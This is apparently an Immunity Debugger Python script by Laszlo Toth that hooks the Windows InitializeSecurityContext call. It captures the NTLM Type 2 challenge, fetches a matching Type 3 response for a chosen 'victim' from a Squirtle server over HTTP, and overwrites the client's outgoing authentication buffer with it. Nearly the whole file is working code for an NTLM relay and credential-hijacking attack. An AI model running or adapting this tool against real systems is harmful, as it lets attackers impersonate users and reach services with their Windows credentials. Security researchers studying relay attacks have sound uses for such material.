#The code is released under GPLv2 (http://www.gnu.org/licenses/gpl-2.0.html),
#by Laszlo Toth.
#Use the code at your own responsibility.
#For help and disclaimer please visit:
#  http://www.soonerorlater.hu/index.khtml?article_id=514


"""
hook on bp SECURITY_STATUS SEC_Entry InitializeSecurityContext(
  __in_opt     PCredHandle phCredential,
  __in_opt     PCtxtHandle phContext,
  __in_opt     SEC_CHAR *pszTargetName,
  __in         ULONG fContextReq,
  __in         ULONG Reserved1,
  __in         ULONG TargetDataRep,
  __in_opt     PSecBufferDesc pInput,
  __in         ULONG Reserved2,
  __inout_opt  PCtxtHandle phNewContext,
  __inout_opt  PSecBufferDesc pOutput,
  __out        PULONG pfContextAttr,
  __out_opt    PTimeStamp ptsExpiry
);

The real hook is on the CALL Secur32.77FE5C5D
77FEA81B   E8 3DB4FFFF      CALL Secur32.77FE5C5D


"""

__VERSION__ = '0.1'

import immlib
from immlib import LogBpHook
import immlib
import binascii
from binascii import hexlify
import base64
import re
import sys
import urllib2
import jsonlib

def initrethook(rethook,regs):
	imm=immlib.Debugger()
	#We place a bp on the return address to change the pOutput buffer of ISC	
	bp_address=imm.readLong(regs["ESP"])
	rethook.add("hook_on_ret",bp_address)
	imm.Log("Place hook on the return address of ISC: "+hex(bp_address))
	return


def printmem(buffer, len):
	i=len
	j=0
	octetstr=octethex=""
	imm = immlib.Debugger()
	tmp=imm.readMemory(buffer,len)
	while i > 8:
		for a in range(8):
			if int(tmp[j+a].encode('hex'),16) > 32  and int(tmp[j+a].encode('hex'),16) < 126:
				octetstr="%s %s" % (octetstr, tmp[j+a])
			else:
				octetstr="%s %s" % (octetstr, ".")
			octethex="%s %s" % (octethex,tmp[j+a].encode('hex'))
		imm.Log(octethex + " " + octetstr)
		j+=8
		i-=8
		octethex=octetstr=""
	j+=1
	while j < len:
		if int(tmp[j].encode('hex'),16) > 32  and int(tmp[j].encode('hex'),16) < 126:
			octetstr="%s %s" % (octetstr, tmp[j])
		else:
			octetstr="%s %s" % (octetstr, ".")

		octethex="%s %s" % (octethex,tmp[j].encode('hex'))
		j+=1
	imm.Log("%-24s %s" % (octethex, octetstr))

def printbuff(buffer):
	i=len(buffer)
	j=0
	octetstr=octethex=""
	imm = immlib.Debugger()
	tmp=buffer
	while i > 8:
		for a in range(8):
			if int(tmp[j+a].encode('hex'),16) > 32  and int(tmp[j+a].encode('hex'),16) < 126:
				octetstr="%s %s" % (octetstr, tmp[j+a])
			else:
				octetstr="%s %s" % (octetstr, ".")
			octethex="%s %s" % (octethex,tmp[j+a].encode('hex'))
		imm.Log(octethex + " " + octetstr)
		j+=8
		i-=8
		octethex=octetstr=""
	j+=1
	while j < len(buffer):
		if int(tmp[j].encode('hex'),16) > 32  and int(tmp[j].encode('hex'),16) < 126:
			octetstr="%s %s" % (octetstr, tmp[j])
		else:
			octetstr="%s %s" % (octetstr, ".")

		octethex="%s %s" % (octethex,tmp[j].encode('hex'))
		j+=1
	imm.Log("%-24s %s" % (octethex, octetstr))



class MyOwnHook(LogBpHook):
    def __init__(self):
        LogBpHook.__init__(self)
        
    #This will be executed when the code reaches ISC
    def run(self,regs):
	pOutput=""
	pSecbuf=0
        imm = immlib.Debugger()
	user=imm.getKnowledge("Username")
	
	#Return address of the ISC, so the Type3 will be replaced
	if imm.getKnowledge("%08x" % regs["EIP"] ) != "isc_address":
		imm.Log("After ISC!")
		pOutput=imm.getKnowledge("pOutput")
		imm.Log("pOutout: "+hex(pOutput))
		pSecbuf=imm.readLong(pOutput+8)
		cbBuffer=imm.readLong(pSecbuf)
		imm.Log("out cbBuffer: %s" %hex(cbBuffer))
		pvBuffer=imm.readLong(pSecbuf+8)
		imm.Log("out pvBuffer: %s" % hex(pvBuffer))
		printmem(pvBuffer,cbBuffer)
		type3_binary=imm.getKnowledge("type3")
		imm.writeMemory(pvBuffer,type3_binary)
		printmem(pvBuffer,cbBuffer)
		return

	#Setup the HTTP connection to squirtle. You can change the IP address, username
	#and password to your squirtle configuration

	auth_handler = urllib2.HTTPBasicAuthHandler()
	auth_handler.add_password(realm='Squirtle Realm', uri='http://127.0.0.1:8080',user='squirtle', passwd='squirtle')
	opener = urllib2.build_opener(auth_handler)
	urllib2.install_opener(opener)
	
      	pInput=0L
        pSecbuf=0L
	NumofSecbuf=0L #Number of the secbuffers in the SecBufferDesc
	cbBuffer=0L #Length of the SecBuffer
	pvBuffer=0L #PVOID pvBuffer; of the Secbuffer
	pInput = regs['ESP'] + 0x1c # PSecBufferDesc pInput of ISC
	pInput=imm.readLong(pInput)
	imm.Log("================================================================================")
	imm.Log("pInput: %s"%hex(pInput))

	#We get the NTLM Type 2 if the pInput is not NULL
	if (pInput!=0):
		#Place the hook on the retunr address
		initrethook(self,regs)
		
		#Save the address the pOutput buffer, we will replace it later
		pOutput = regs['ESP'] + 0x28
		pOutput=imm.readLong(pOutput)
		imm.forgetKnowledge("pOutput")
		imm.addKnowledge("pOutput",pOutput)

		#Read the NTLM Type 2 from the pInput parameter of ISC
		NumofSecbuf=imm.readLong(pInput+4)
		imm.Log("NumofSecbuf: %s" %hex(NumofSecbuf))
		pSecbuf=imm.readLong(pInput+8)
		imm.Log("pSecbuf: %s" %hex(pSecbuf))
		cbBuffer=imm.readLong(pSecbuf)
		imm.Log("cbBuffer: %s" %hex(cbBuffer))
		pvBuffer=imm.readLong(pSecbuf+8)
		imm.Log("pvBuffer: %s" % hex(pvBuffer))
		printmem(pvBuffer,cbBuffer)
		tmp=imm.readMemory(pvBuffer,cbBuffer)
		type2=base64.b64encode(tmp)
		imm.Log("NTLM Type2 in Base64: "+type2)

		#Find the given user name in the victim list of squirtle
		f=urllib2.urlopen('http://127.0.0.1:8080/controller/allusers')
		resp=jsonlib.read(f.read())
		list=resp['hashes']
		type2_key=""
		for key, userrec in list.iteritems():
			if userrec['user']==user:
				type2_key=key
		
		#Send the NTLM Type 2 to get the NTLM Type 3 from squirtle
		f=urllib2.urlopen('http://127.0.0.1:8080/controller/type2?type2='+type2+'&key='+type2_key)
		type2=""
		resp=jsonlib.read(f.read())
		type3=resp['result']

		#Save the NTLM Type 3 for later use
		imm.Log("NTLM Type 3: "+type3)
		type3_binary=base64.b64decode(type3)
		imm.forgetKnowledge("type3")
		imm.addKnowledge("type3", type3_binary)
		imm.Log(str(len(type3_binary)))
		printbuff(type3_binary)
        return

def main():
    imm = immlib.Debugger()
    user=imm.inputBox("Username")
    imm.addKnowledge("Username", user)
    imm.Log("Username: "+user)
    bp_address=imm.setBreakpointOnName("InitializeSecurityContextA")
    imm.addKnowledge("%08x" % bp_address, "isc_address")
    logbp_hook = MyOwnHook()
    logbp_hook.add("bp_on_isc",bp_address)
    imm.Log("Placed isc hook: bp_on_isc")
        
if __name__=="__main__":
    print "This module is for use within Immunity Debugger only"
